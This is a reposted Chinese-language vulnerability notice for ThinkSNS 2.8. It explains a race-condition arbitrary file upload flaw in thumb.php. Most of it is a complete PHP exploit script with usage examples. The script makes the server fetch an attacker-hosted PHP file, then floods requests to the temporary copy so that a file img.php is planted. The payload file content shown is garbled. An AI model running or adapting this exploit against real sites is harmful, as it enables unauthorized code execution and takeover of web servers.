Thinksns2.8文件上传漏洞利用exp漏洞预警 -电脑资料

电脑资料 时间:2019-01-01 我要投稿
【www.unjs.com - 电脑资料】

   

    漏洞版本

    存在漏洞的版本为:最新的2.8稳定版,

Thinksns2.8文件上传漏洞利用exp漏洞预警

。(其它版本没测试过)

    漏洞文件

    存在漏洞的文件为:thumb.php

    作者:韦鲲鹏

    1、    准备如下PHP文件并上传到服务器(自己的)。

    文件内容如下:

    ’); ?>” ?>

    2、    计算出临时的文件名:

    这里我们可以看文件的99行(刚刚是不是没注意呀!)。

    3、    上传临时文件。

    4、    访问临时文件。

    但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)

    Exploit文件内容如下:(这个我就不详细解释了)

   

    error_reporting(0);

    set_time_limit(0);

    ini_set(“default_socket_timeout”, 5);

    function http_send($host, $port, $headers) {

    $fp = fsockopen($host, $port);

    if (!$fp) die(‘Connection -> fail’);

    fputs($fp, $headers);

    return $fp;

    }

    function http_recv($fp) {

    $ret=”";

    while (!feof($fp))

    $ret.= fgets($fp, 1024);

    fclose($fp);

    return $ret;

    }

    print “\n# ThinkSns Arbitrary File Upload #\n”;

    print “# Discovered by 韦鲲鹏 #\n\n”;

    if ($argc < 4) {

    print “Usage: php \n”;

    print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;

    die();

    }

    $host = $argv[1];

    $path = $argv[2];

    $url = $argv[3];

    $i=0;

    //上传数据包

    $headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;

    $headers_up .= “Host: “.$host.”\r\n”;

    $headers_up .= “Connection: close\r\n\r\n”;

    echo $headers_up;

    //临时文件访问数据包

    $headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;

    $headers .= “Host: “.$host.”\r\n”;

    $headers .= “Connection: close\r\n\r\n”;

    echo $headers;

    while(++$i<10) {

    fclose(http_send($host, 80, $headers));

    }

    fclose(http_send($host, 80, $headers_up));

    while(++$i<50) {

    fclose(http_send($host, 80, $headers));

    }

    $headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;

    $headers .= “Host: “.$host.”\r\n”;

    $headers .= “Connection: close\r\n\r\n”;

    $res=http_recv(http_send($host, 80, $headers));

    if(preg_match(‘/200 OK/’,$res)) {

    print “Success!\n\n”;

    } else {

    print “Fail!\n\n”;

    }

    ?>

    ​

最新文章